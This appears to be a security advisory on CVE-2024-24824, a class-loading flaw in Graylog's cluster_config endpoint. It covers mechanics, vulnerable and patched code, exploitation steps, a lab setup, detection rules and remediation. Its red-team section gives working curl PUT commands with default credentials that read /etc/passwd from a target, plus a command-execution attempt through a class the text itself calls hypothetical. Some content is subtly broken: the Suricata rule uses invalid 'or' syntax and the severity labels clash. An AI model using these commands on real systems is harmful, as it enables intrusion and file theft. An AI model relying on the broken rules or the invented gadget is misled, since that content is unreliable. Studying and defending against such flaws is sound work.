CVE-2024-24824

Executive Summary

CVE-2024-24824 is a critical deserialization vulnerability in Graylog, an open-source log management platform. The flaw resides in the /api/system/cluster_config/ endpoint, where the system uses fully qualified class names as configuration keys. An authenticated attacker with appropriate permissions can craft a PUT request to this endpoint, causing Graylog to load and instantiate arbitrary Java classes. This can lead to remote code execution (RCE) or information disclosure, particularly when using classes like java.io.File, which can expose file contents in the HTTP response. The vulnerability affects all versions from 2.0.0 up to, but not including, 5.1.11 and 5.2.4. Patches are available in versions 5.1.11 and 5.2.4.

Supply Chain & Package Security

Graylog is a Java-based application distributed as a tarball or via Docker. The vulnerability is in the core application code, not in a third-party package. However, the impact on the supply chain is significant: if an attacker compromises a Graylog instance, they can pivot to other systems, access logs containing sensitive data, and potentially compromise the entire logging infrastructure. Organizations using Graylog should treat this as a high-priority patch.

CVSS Breakdown & Threat Level

CVSS Score: 8.8 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions are required; the attack is straightforward.
• Privileges Required (PR): High – An attacker must have administrative or equivalent permissions to access the cluster config endpoint.
• User Interaction (UI): None – No user action is needed for exploitation.
• Scope (S): Unchanged – The vulnerability does not affect other components beyond the vulnerable one.
• Confidentiality (C): High – Full file read is possible, leading to information disclosure.
• Integrity (I): High – Arbitrary code execution can modify system state.
• Availability (A): High – Code execution can lead to denial of service or system compromise.

Threat Level: Critical. Although the EPSS score is 0.0%, the vulnerability is trivial to exploit once authenticated, and the impact is severe.

Deep Dive & Mechanics

The vulnerability lies in the cluster configuration system of Graylog. The system uses fully qualified class names (e.g., java.io.File) as keys for configuration entries. When a PUT request is made to /api/system/cluster_config/ with a class name as the key, Graylog attempts to validate the class by loading it via the Java class loader. If the class exists and has a constructor that takes a single String argument, Graylog instantiates it with the provided payload.

The critical flaw is that Graylog does not restrict which classes can be loaded. An attacker can specify any class available on the classpath, including dangerous ones like java.io.File. When java.io.File is instantiated with a file path, the web server framework (Jersey) may serialize the object into the HTTP response, inadvertently including the file's contents. This leads to information disclosure.

For RCE, an attacker can use classes that execute code during instantiation, such as those that run system commands or load native libraries. For example, classes like java.lang.Runtime cannot be directly instantiated with a String constructor, but other classes like javax.script.ScriptEngineManager or custom classes in the classpath could be used.

The attack flow:

1. Attacker authenticates with admin privileges.
2. Attacker sends a PUT request to /api/system/cluster_config/java.io.File with a body containing a file path (e.g., /etc/passwd).
3. Graylog loads the java.io.File class and instantiates it with the provided path.
4. The web server serializes the File object into the response, exposing the file content.

Vulnerable vs. Patched Code

Vulnerable Code (pre-5.1.11/5.2.4):

// In ClusterConfigResource.java
@PUT
@Path("/{configClass}")
public Response update(@PathParam("configClass") String configClass, String body) {
    Class<?> clazz = Class.forName(configClass); // No validation
    Object config = body == null ? clazz.newInstance() : 
        clazz.getConstructor(String.class).newInstance(body);
    // ... save config
}

Patched Code (5.1.11/5.2.4):

// In ClusterConfigResource.java
private static final Set<String> ALLOWED_CLASSES = Set.of(
    "org.graylog2.cluster.ClusterConfig",
    // ... other allowed classes
);

@PUT
@Path("/{configClass}")
public Response update(@PathParam("configClass") String configClass, String body) {
    if (!ALLOWED_CLASSES.contains(configClass)) {
        return Response.status(403).entity("Class not allowed").build();
    }
    Class<?> clazz = Class.forName(configClass);
    Object config = body == null ? clazz.newInstance() : 
        clazz.getConstructor(String.class).newInstance(body);
    // ... save config
}

The patch introduces a whitelist of allowed configuration classes, preventing arbitrary class loading.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Graylog instance (version 2.0.0 to 5.1.10 or 5.2.0 to 5.2.3)
• Admin credentials (e.g., admin:admin)

Exploitation Steps:

1. Information Disclosure (File Read):

   curl -X PUT -u admin:admin \
     -H "Content-Type: text/plain" \
     -d "/etc/passwd" \
     "http://target:9000/api/system/cluster_config/java.io.File"
   

   The response will contain the contents of /etc/passwd.

2. Remote Code Execution (using a gadget class): If a class like org.graylog2.shared.utilities.ProcessExecutor (hypothetical) exists with a String constructor that executes a command, use:

   curl -X PUT -u admin:admin \
     -H "Content-Type: text/plain" \
     -d "touch /tmp/pwned" \
     "http://target:9000/api/system/cluster_config/org.graylog2.shared.utilities.ProcessExecutor"
   

Lab Setup:

• Use Docker to run a vulnerable Graylog instance:

  docker run --name graylog -d -p 9000:9000 graylog/graylog:5.1.10
  

• Default credentials: admin:admin (change in production).

Blue Team (Defensive)

Detection:

• Monitor HTTP PUT requests to /api/system/cluster_config/ with unusual class names (e.g., java.io.File, java.lang.Runtime).
• Alert on any PUT request to this endpoint from non-admin accounts.
• Look for responses containing file contents (e.g., /etc/passwd, /etc/shadow).

Hunting:

• Search logs for Class.forName calls with unexpected class names.
• Check for outbound connections from Graylog server to unknown IPs (post-exploitation).

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP PUT requests to /api/system/cluster_config/java.io.File or similar.
  • Responses containing file contents (e.g., root:x:0:0:root:/root:/bin/bash).
• File System IOCs:
  • Unexpected files in /tmp/ (e.g., /tmp/pwned).
  • Modified Graylog configuration files.
• Process IOCs:
  • Unusual Java processes spawned by Graylog.
  • Network connections from Graylog to external IPs on non-standard ports.

Detection Engineering

YARA Rule

rule CVE_2024_24824_Graylog_ClusterConfig {
    meta:
        description = "Detects exploitation attempts of CVE-2024-24824 via HTTP PUT requests"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-24824"
    strings:
        $put_method = "PUT"
        $cluster_config = "/api/system/cluster_config/"
        $dangerous_class = "java.io.File" nocase
        $dangerous_class2 = "java.lang.Runtime" nocase
    condition:
        $put_method and $cluster_config and ($dangerous_class or $dangerous_class2)
}

Sigma Rule

title: Graylog Cluster Config Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP PUT requests to Graylog cluster config endpoint with suspicious class names
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: graylog
detection:
    selection:
        http.method: 'PUT'
        http.url|contains: '/api/system/cluster_config/'
        http.url|contains|any:
            - 'java.io.File'
            - 'java.lang.Runtime'
            - 'javax.script.ScriptEngineManager'
    condition: selection
falsepositives:
    - Legitimate use of custom cluster config classes (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-24824 Graylog Cluster Config Exploitation"; flow:to_server; http.method; content:"PUT"; http.uri; content:"/api/system/cluster_config/"; content:"java.io.File" or content:"java.lang.Runtime" or content:"javax.script.ScriptEngineManager"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade to Graylog 5.1.11 or 5.2.4 immediately.
2. Workaround: If patching is not possible, restrict access to the /api/system/cluster_config/ endpoint using a reverse proxy or firewall rules. Only allow trusted IPs.
3. Disable Admin Accounts: If possible, disable or rotate admin credentials until patching is complete.

Long-term Measures:

• Implement network segmentation to isolate Graylog servers.
• Enable audit logging for all admin actions.
• Regularly review and update class whitelists if custom configurations are used.
• Monitor for any unusual class loading activity in Java applications.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert